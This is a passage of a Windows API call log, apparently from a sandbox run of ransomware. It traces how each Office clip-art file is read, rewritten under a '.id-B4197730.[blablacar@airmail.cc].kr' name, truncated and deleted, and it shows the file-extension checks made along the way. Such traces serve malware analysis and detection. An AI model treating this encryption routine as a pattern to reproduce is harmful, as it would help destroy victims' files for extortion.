lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0196.516] SetEndOfFile (hFile=0x548) returned 1 [0196.516] CloseHandle (hObject=0x548) returned 1 [0196.516] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.517] SetEndOfFile (hFile=0x3e4) returned 1 [0196.520] CloseHandle (hObject=0x3e4) returned 1 [0196.520] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.520] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00681_.wmf")) returned 1 [0196.521] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.522] lstrlenW (lpString=".doc") returned 4 [0196.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.522] lstrlenW (lpString=".docx") returned 5 [0196.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.522] lstrlenW (lpString=".pdf") returned 4 [0196.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.522] lstrlenW (lpString=".xls") returned 4 [0196.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.522] lstrlenW (lpString=".xlsx") returned 5 [0196.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.522] lstrlenW (lpString=".ppt") returned 4 [0196.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.522] lstrlenW (lpString=".zip") returned 4 [0196.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.522] lstrlenW (lpString=".rar") returned 4 [0196.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.522] lstrlenW (lpString=".bz2") returned 4 [0196.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.522] lstrlenW (lpString=".7z") returned 3 [0196.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.522] lstrlenW (lpString=".dbf") returned 4 [0196.523] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.523] lstrlenW (lpString=".1cd") returned 4 [0196.523] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.523] lstrlenW (lpString=".jpg") returned 4 [0196.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.523] lstrlenW (lpString=".doc") returned 4 [0196.523] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.523] lstrlenW (lpString=".docx") returned 5 [0196.523] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.523] lstrlenW (lpString=".pdf") returned 4 [0196.523] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.523] lstrlenW (lpString=".xls") returned 4 [0196.523] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.523] lstrlenW (lpString=".xlsx") returned 5 [0196.523] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.523] lstrlenW (lpString=".ppt") returned 4 [0196.523] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.523] lstrlenW (lpString=".zip") returned 4 [0196.523] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.523] lstrlenW (lpString=".rar") returned 4 [0196.523] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.523] lstrlenW (lpString=".bz2") returned 4 [0196.523] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.523] lstrlenW (lpString=".7z") returned 3 [0196.523] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.524] lstrlenW (lpString=".dbf") returned 4 [0196.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.524] lstrlenW (lpString=".1cd") returned 4 [0196.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00681_.WMF") returned 68 [0196.524] lstrlenW (lpString=".jpg") returned 4 [0196.524] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.524] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.524] lstrlenW (lpString="HH00685_.WMF") returned 12 [0196.524] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0196.525] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=4032) returned 1 [0196.525] CloseHandle (hObject=0x3e4) returned 1 [0196.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 0x220 [0196.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0196.525] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.525] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x548 [0196.526] GetLastError () returned 0x0 [0196.526] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xfc0, lpOverlapped=0x0) returned 1 [0196.528] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xfd0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xfd0, lpOverlapped=0x0) returned 1 [0196.529] ReadFile (in: hFile=0x3e4, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.529] WriteFile (in: hFile=0x548, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0196.530] SetEndOfFile (hFile=0x548) returned 1 [0196.530] CloseHandle (hObject=0x548) returned 1 [0196.530] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.530] SetEndOfFile (hFile=0x3e4) returned 1 [0196.845] CloseHandle (hObject=0x3e4) returned 1 [0196.845] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.976] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00685_.wmf")) returned 1 [0196.979] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.980] lstrlenW (lpString=".doc") returned 4 [0196.980] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.980] lstrlenW (lpString=".docx") returned 5 [0196.980] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.980] lstrlenW (lpString=".pdf") returned 4 [0196.980] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.980] lstrlenW (lpString=".xls") returned 4 [0196.980] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.980] lstrlenW (lpString=".xlsx") returned 5 [0196.980] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.980] lstrlenW (lpString=".ppt") returned 4 [0196.980] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.980] lstrlenW (lpString=".zip") returned 4 [0196.980] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.980] lstrlenW (lpString=".rar") returned 4 [0196.980] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.980] lstrlenW (lpString=".bz2") returned 4 [0196.980] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.980] lstrlenW (lpString=".7z") returned 3 [0196.980] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.980] lstrlenW (lpString=".dbf") returned 4 [0196.980] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.980] lstrlenW (lpString=".1cd") returned 4 [0196.980] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.980] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.980] lstrlenW (lpString=".jpg") returned 4 [0196.980] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.981] lstrlenW (lpString=".doc") returned 4 [0196.981] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.981] lstrlenW (lpString=".docx") returned 5 [0196.981] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.981] lstrlenW (lpString=".pdf") returned 4 [0196.981] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.981] lstrlenW (lpString=".xls") returned 4 [0196.981] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.981] lstrlenW (lpString=".xlsx") returned 5 [0196.981] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.981] lstrlenW (lpString=".ppt") returned 4 [0196.981] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.981] lstrlenW (lpString=".zip") returned 4 [0196.981] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.981] lstrlenW (lpString=".rar") returned 4 [0196.981] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.981] lstrlenW (lpString=".bz2") returned 4 [0196.981] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.981] lstrlenW (lpString=".7z") returned 3 [0196.981] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.981] lstrlenW (lpString=".dbf") returned 4 [0196.981] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.981] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.981] lstrlenW (lpString=".1cd") returned 4 [0196.981] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.982] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00685_.WMF") returned 68 [0196.982] lstrlenW (lpString=".jpg") returned 4 [0196.982] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.982] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.982] lstrlenW (lpString="HH01923_.WMF") returned 12 [0196.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0196.984] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=26706) returned 1 [0196.984] CloseHandle (hObject=0x38c) returned 1 [0196.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 0x220 [0196.984] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0196.984] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.984] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0196.985] GetLastError () returned 0x0 [0196.985] ReadFile (in: hFile=0x38c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x6852, lpOverlapped=0x0) returned 1 [0196.988] WriteFile (in: hFile=0x3c4, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0x6860, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0x6860, lpOverlapped=0x0) returned 1 [0196.989] ReadFile (in: hFile=0x38c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0196.990] WriteFile (in: hFile=0x3c4, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0196.990] SetEndOfFile (hFile=0x3c4) returned 1 [0196.990] CloseHandle (hObject=0x3c4) returned 1 [0196.990] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.990] SetEndOfFile (hFile=0x38c) returned 1 [0196.993] CloseHandle (hObject=0x38c) returned 1 [0196.993] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF.id-B4197730.[blablacar@airmail.cc].kr", dwFileAttributes=0x220) returned 1 [0196.994] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01923_.wmf")) returned 1 [0196.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.994] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.994] lstrlenW (lpString=".doc") returned 4 [0196.994] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.994] lstrlenW (lpString=".docx") returned 5 [0196.994] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.995] lstrlenW (lpString=".pdf") returned 4 [0196.995] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.995] lstrlenW (lpString=".xls") returned 4 [0196.995] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.995] lstrlenW (lpString=".xlsx") returned 5 [0196.995] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.995] lstrlenW (lpString=".ppt") returned 4 [0196.995] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.995] lstrlenW (lpString=".zip") returned 4 [0196.995] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.995] lstrlenW (lpString=".rar") returned 4 [0196.995] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.995] lstrlenW (lpString=".bz2") returned 4 [0196.995] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.995] lstrlenW (lpString=".7z") returned 3 [0196.995] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.995] lstrlenW (lpString=".dbf") returned 4 [0196.995] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.995] lstrlenW (lpString=".1cd") returned 4 [0196.995] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.995] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.995] lstrlenW (lpString=".jpg") returned 4 [0196.995] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.996] lstrlenW (lpString=".doc") returned 4 [0196.996] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0196.996] lstrlenW (lpString=".docx") returned 5 [0196.996] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0196.996] lstrlenW (lpString=".pdf") returned 4 [0196.996] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0196.996] lstrlenW (lpString=".xls") returned 4 [0196.996] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0196.996] lstrlenW (lpString=".xlsx") returned 5 [0196.996] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0196.996] lstrlenW (lpString=".ppt") returned 4 [0196.996] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0196.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.996] lstrlenW (lpString=".zip") returned 4 [0196.996] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0196.996] lstrlenW (lpString=".rar") returned 4 [0196.996] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0196.996] lstrlenW (lpString=".bz2") returned 4 [0196.996] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0196.996] lstrlenW (lpString=".7z") returned 3 [0196.996] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0196.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.996] lstrlenW (lpString=".dbf") returned 4 [0196.996] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0196.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.996] lstrlenW (lpString=".1cd") returned 4 [0196.996] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0196.996] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01923_.WMF") returned 68 [0196.996] lstrlenW (lpString=".jpg") returned 4 [0196.997] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0196.997] lstrcmpiW (lpString1=".WMF", lpString2=".kr") returned 1 [0196.997] lstrlenW (lpString="HH02155_.WMF") returned 12 [0196.997] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0196.997] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x363ff14 | out: lpFileSize=0x363ff14*=2704) returned 1 [0196.998] CloseHandle (hObject=0x38c) returned 1 [0196.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf")) returned 0x220 [0196.998] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[blablacar@airmail.cc].kr")) returned 0xffffffff [0196.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0196.998] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.998] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0196.998] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02155_.WMF.id-B4197730.[blablacar@airmail.cc].kr" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02155_.wmf.id-b4197730.[blablacar@airmail.cc].kr"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c4 [0197.000] GetLastError () returned 0x0 [0197.000] ReadFile (in: hFile=0x38c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0xa90, lpOverlapped=0x0) returned 1 [0197.002] WriteFile (in: hFile=0x3c4, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xaa0, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xaa0, lpOverlapped=0x0) returned 1 [0197.003] ReadFile (in: hFile=0x38c, lpBuffer=0x40ab020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x363fecc, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesRead=0x363fecc*=0x0, lpOverlapped=0x0) returned 1 [0197.003] WriteFile (in: hFile=0x3c4, lpBuffer=0x40ab020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x363fc94, lpOverlapped=0x0 | out: lpBuffer=0x40ab020*, lpNumberOfBytesWritten=0x363fc94*=0xec, lpOverlapped=0x0) returned 1 [0197.003] SetEndOfFile (hFile=0x3c4) returned 1 [0197.003] CloseHandle (hObject=0x3c4) returned 1 [0197.004] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x363fec0 | out: lpNewFilePointer=0x0) returned 1 [0197.004] SetEndOfFile (hFile=0x38c) returned 1 [0197.007] CloseHandle 